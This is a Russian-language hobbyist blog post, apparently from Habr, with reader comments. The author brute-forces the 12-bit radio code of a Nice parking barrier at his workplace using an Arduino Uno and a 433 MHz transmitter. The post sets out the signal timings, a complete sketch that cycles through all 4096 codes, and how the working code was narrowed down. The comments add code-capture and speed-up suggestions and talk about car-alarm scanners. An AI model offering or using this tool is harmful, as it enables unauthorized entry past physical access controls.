Управление шлагбаумом с помощью Arduino UNO и радиопередатчика 433 МГц

Всем привет! У меня на работе есть автомобильная парковка. Конечно, цель данной статьи не хвастовство, учитывая тяжелую ситуацию на дорогах с парковочными местами, и не пиар моего руководства о том, что они заботятся о своих сотрудниках (не буду даже упоминать о месте свой работы!), дело совершено не в этом. Суть в том, что мешает любому другому человеку, не имеющему отношения к месту моей работы, припарковаться на этой парковке? А это шлагбаум, ограничивающий въезд и выезд с этой парковки.

И как во многих организациях, вход на мое предприятие осуществляется по обыкновенным пропускам, дабы контролировать меня и всех остальных. Ну и въезд на парковку сделали также, по этим же пропускам. То есть подъезжаешь к парковке, подносишь пропуск к считывателю, он срабатывает, шлагбаум открывается (закрывается автоматически), заезжаешь и все. Так думали они. Но мое увлечение электроникой и природная лень (это ведь каждый раз подъезжать, открывать окно, вытаскивать руку, закрывать окно, а если дождь, а если холодно) пошли против системы.

Итак, ближе к делу. Прежде всего, узнал, что шлагбаум оказался довольно-таки популярной фирмы Nice и начал искать о нем информацию. Однако, несмотря на популярность фирмы производителя, информации о его форматах кодов было очень мало. Выяснилось, что существуют 12-битные и 24-битные форматы кодов. 12-битные более древние, 24-битные – посовременней. Так как я знаю, что шлагбаум на работе стоит давно, решил начать с 12-битных кодов (впоследствии угадал). И так пакет данных состоит из 12 бит. Перед 12-битным кодом идет, так называемый, «пилотный период» и «стартовый импульс». «Пилотный период» состоит из 36 интервалов низкого уровня, «стартовый импульс» состоит из 1 интервала высокого уровня. Один пакет данных состоит из «пилотного периода», за ним «стартовый импульс» и за ним 12-битный код (для каждого шлагбаума свой). Пульты шлагбаумов передают сразу по 4 пакета данных, но я поставил больше, так как очень много устройств работают на данной частоте (в частности автомобильные сигнализации) и возможны помехи. Длительности импульсов для шлагбаумов Nice:

  • Логическая «1» – 1400 мкс низкого уровня (два интервала) и 700 мкс высокого (один интервал)
  • Логический «0» – это 700 мкс низкого уровня (один интервал) и 1400 мкс высокого (один интервал)
  • «Пилотный период» – 25200 мкс (36 интервалов)
  • «Стартовый импульс» – 700 мкс (1 интервал)

Так как пультов от этого шлагбаума ни у меня и ни у кого нет (в таком бы случаем просто можно было считать сигнал с действующего пульта), то угадывать истинный код придется методом перебора всех возможных вариантов, а 4096.

С помощью чего, вообще, все это можно реализовать? Недавнее мое увлечение платформами Arduino, не дали мне долго размышлять над этим вопросом.

Список компонентов:

1. Arduino Uno,



2. Радиопередатчик 433Мгц, самодельная антенна к нему,



3. Батарейка 9 вольт, в народе «Крона».



Данные радиопередатчики в известных китайских магазинах продаются очень дешево (порядка 50 руб.), совместно с радиоприемниками. Они очень простые, три контакта: питание, земля и сигнальный контакт. Питания от 5 до 12 вольт, чем выше напряжение питания, тем лучше дальнобойность. Собственно по этой причине была выбрана 9 вольтовая батарейка. Рекомендованное напряжения питания Arduino Uno от 7 до 12 вольт (контакт Vin), так что «Крона» вполне подходит. Также дальнобойность радиопередатчика зависит от наличия антенны (без нее дальность будет около 1 метра). Весь комплект обошелся порядка 300 руб.

Вот, собственно, и сам скетч для Arduino Uno:

int send_code_pin = 13;
//int send_code = 3061; это код определенный методом перебора для моего шлагбаума
 
void setup()
{
  pinMode(send_code_pin, OUTPUT);
}

void loop ()
{
  for (int send_code = 0; send_code < 4096; send_code++) // этот цикл после того как код определен необходимо убрать
  {
    for (int j = 0; j <7; j++) // достаточно 4-х, но из-за помех поставил 7
    {
      digitalWrite(send_code_pin, HIGH); // стартовый импульс
      delayMicroseconds(700);
      digitalWrite(send_code_pin, LOW);
      for (int i = 12; i > 0; i--)
      {
        boolean bit_code = bitRead(send_code, i - 1);
        if (bit_code)
        {
          digitalWrite(send_code_pin, LOW); // единица
          delayMicroseconds(1400);
          digitalWrite(send_code_pin, HIGH);
          delayMicroseconds(700);
        }
        else
        {
          digitalWrite(send_code_pin, LOW); // ноль
          delayMicroseconds(700);
          digitalWrite(send_code_pin, HIGH);
          delayMicroseconds(1400);
        }
      }
      digitalWrite(send_code_pin, LOW); // пилотный период
      delayMicroseconds(25200);
    }
  }
  //delay(10000); после определения кода поставить задержку
}

Перебор всех возможных вариантов занял около 1 недели, с учетом одного выхода в день к шлагбауму. Методика быстрого выбора правильного кода была очень простой. С помощью команды micros() определил время передачи одного кода. Он составил примерно 0,25 сек. Общее перебора всех вариантов около 17 мин. Перед шлагбаумом запустил Arduino и засек время. Где-то на 12,5 минуте открылся шлагбаум. Исходя из этого, я отбросил сразу первые 2800 вариантов. И так далее. Когда вариантов осталось около 30, после каждой передачи данных ставил задержку в 1 секунду. Так как контакт передачи данных я установил 13-ым (со светодиодом), было видно каждый момент передачи, подсчитал и определил точный код.

Вот и все! В качестве демо — видео вскрытия:


Спасибо за внимание!
Поделиться публикацией
Похожие публикации
AdBlock похитил этот баннер, но баннеры не зубы — отрастут

Подробнее
Реклама
Комментарии 31
  • 0
    К слову, в 24-битном варианте при 0,25 сек на один код он сбрутится через 48 дней
    • 0
      Можно сделать хитрость, и попытатся перехватить код. Только надо тогда собирать еще и приемник.
      Может быть автор соберет и этот вариант? :)
      • 0
        Как раз появилась в этом надобность сегодня, буду пытаться))
        • 0
          да, я думаю, вам бы облегчело в разы такое устр-во, хотя и по вашей «схеме» вы сумели незатягивать процесс подбора — браво
    • 0

      Не быстрее ли подслушать код?

      • 0
        Так как пультов от этого шлагбаума ни у меня и ни у кого нет (в таком бы случаем просто можно было считать сигнал с действующего пульта), то...
      • 0
        В смысле никакого KeeLoq? Никакого обучения брелкам? Никаких проверок валидности последовательности? Просто подал какую-то последовательность бит и все?
        • 0
          Да, просто последовательность. На работе говорят, он уже больше 10 лет тут стоит, видимо древний.
        • +6
          «помигать лампочкой» можно смело заменить на «помахать шлагбаумом»
          • 0
            Закрывается он сам, через какое-то время? Или просто меняет свое текущее состояние при получении идентичного пакета данных?
            • 0
              Закрывается сам, где-то через минуту, если под шлагбаумом нет машины.
            • 0
              интересно, у нас есть два платных участка на трассе мск-спб с подобными шлагбаумами на выезде. будет смешно если к ним тоже по 433 обращаются.
              • 0
                433 433-ём рознь) Это же всего лишь частота, вопрос то в протоколе
                • 0
                  кто б спорил — но было б смешно, потому что 500р за проезд химкинской трассы бОльшую часть суток — это, ээ. да в общем по ленинградке жечь бензин дешевле выходит.
                  • 0
                    Протокол это раз, второе возможен (и скорее всего) динамический код, который меняется постояно.
                • +1
                  На прошлой работе мы делали открытие шлагбаума с телефона. Т.к. компания телекоммуникационная, в наличии была куча VoIP шлюзов. Взяли простенький однопортовый, спаяли схемку и подключили одним концом в голосовой шлюз, вместо телефонного аппарата, а другим — припаяли параллельно кнопке открытия шлагбаума (стационарной, на пульте охраны). Звонишь на нужный номер — попадаешь на Asterisk, который звонит на шлюз. Шлюз выдает в выходной порт порядка 20 В, чтобы телефон зазвонил, от этого напряжения открывается выходной транзистор и «замыкает» кнопку шлагбаума — вуаля! А т.к. астериск — можно привязать белые списки, расписание, логи открытия-закрытия и т.д.
                  • 0
                    Я не понимаю одного — ладно шлагбаум, но почему до сих пор «сканят» автосигнализации?!

                    Да там чуть сложнее — но когда у моих знакомых обокрали машину — приехавшие криминалисты сказали сразу — сканер за 10.000$ сканит всё, включая самые-самые сигнализации!

                    Мне поразительно — ну есть же сейчас куча open-source систем шифрования открытым (а в нашем случае привязки брелков) лучше закрытым ключем! Скорость контролеров за 3$ мне кажется запросто потянет всю логику. В чем проблема? Заговор?!
                    • 0
                      Пофигизм. Если и так покупают — зачем что-то менять?

                      Есть сигнализации, которые не вскрываются ни одним сканером. Почему-то все они российской разработки.
                      • 0
                        Потому что это не бронированные ворота, а всего-лишь шлагбаум. И его основное предназначение, по-сути, защита парковочных мест от несотрудников компании. Сколь угодно серьезные правонарушители разберутся с ним на раз, каким бы он ни был.
                      • 0

                        Потому что 99% населения не отличают кодирования от шифрования, а шифрование от авторизации аутентификации.
                        Не имеют представления, как просто сделать, а тем более, купить сканер для подслушивания или перебора кода.
                        Думают, что такие устройства — нечто редкое и только у секретных агентов и по спецзаказу, "а моя машина никому не нужна".


                        А на деле — такая вот кустарщина, и, если профит от взлома превысит околонулевые затраты на устройство...


                        Почти никто не в курсе, что проблема с безопасностью есть. В головах древние представления "60-х годов".
                        Только просвещение может решить эту проблему. Уроки информатики 21-го века.

                        • 0
                          Какая связь между охраной машины и шлагбаумом?

                          Автоугонщика должен тормозить не шлагбаум на парковке, а охрана, которая не даст ему копашиться возле чужих автомобилей, или хотя бы послужит превентивной мерой от попытки угона. Ну и, нежелание быть запечатлённым на камеры видеонаблюдения.
                          Зачем тащить автомобили средь бела дня с охраняемой парковки, если можно где-нибудь во дворе присмотреть такую же.
                          Я не спорю, что современные мозги в шлагбауме это хорошо, но пока исправен тот, что есть… Да, можно будет добавить какие-то дополнительные плюшки по скуду, но существенной разницы никакой не будет.
                          • 0
                            Какая связь между охраной машины и шлагбаумом?

                            Вопрос про автосигнализацию — ответ про автосигнализацию.


                            И всё-таки, если шлагбаум открывается по желанию посторонних людей, он свои функции выполняет плохо, независимо от того, что именно он "охраняет".

                      • 0
                        Интересно, но всё же почти неделю на перебор потратить как-то долго. Не проще было бы прикупить ещё экран или как другой вариант, прицепить кнопку, нажатие которой останавливает программу и пишет в EEPROM текущий код? Потратили бы чуть-чуть ресурс памяти, но сэкономили бы время.
                        • 0
                          Спасибо за комментраий, Ваше предложение тоже имеет место быть.
                        • 0
                          Можно еще модернизировать схему, повесив кнопку на Ардуино, при нажатии на которую текущий вариант записывается в EEPROM. Потом просто при следующем подключении к компьютеру вывести его значение в монитор порта. Конечно, возможно точную комбинацию сразу и не определить, но мне кажется, так было бы быстрее и удобнее.
                          • 0
                            Честно говоря, у меня не было цели как можно быстрей открыть шлагбаум. В обед выходил на 10 мин к шлагбауму и развлекался. А Ваша идея — хорошая.
                            • 0

                              Можно и цифровой дисплей добавить для вывода номера кода. Стоит недорого, библиотека для управления подключается за 10 минут. И 2-3 кнопки для управления перебором.

                            • 0
                              эх… а мой шлагбаум с динамическим кодом…
                              и таких все больше и больше
                              • 0
                                Отлично! Вижу цель, верю в себя!
                                В самом задрипаном ардуино — есть пзу, которое можно писать и читать.
                                Так что можно было с первого раза код там сохранить как и немного своего времени.
                                • 0
                                  Меня не покидает мысль, что что-то тут не так :) Хочу дальнейших исследований от автора :)

                                  Допустим Nice делает брелки с уникальными серийниками для того, чтобы вашим брелком не открывался шлагбаум соседа. Эти брелки должны прописываться в память контроллера при процедуре обучения брелкам. Для того, чтобы гарантировать, что код с брелка пришел валидный (при обучении, например) он должен быть снабжен какой-то проверкой CRC.

                                  Получается, что перебором получилось найти либо посылку записанного брелка (а таких, получается, может быть несколько), либо какой-то «мастер-код», который возможно будет одинаковым на всех подобных устройствах. Плюс к этому, если в посылке есть какая-то CRC то перебор можно сократить рассчитывая остальную часть от изменяемой.
                                  • 0
                                    динамический код называется keeloq… дубликатов с этим алгоритмом не бывает, точнее дубликат будет до разсинхронизации одного из пультов, а это в среднем 20 нажатий/комманд
                                    тут чел сделал keeloq на ардуине http://arduinolab.pw/index.php/2016/07/04/radiopult-s-dinamicheskim-keeloq-kodom-na-arduino-kod-iz-video/
                                    но все равно требуется обучение шлагбаума

                                    Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.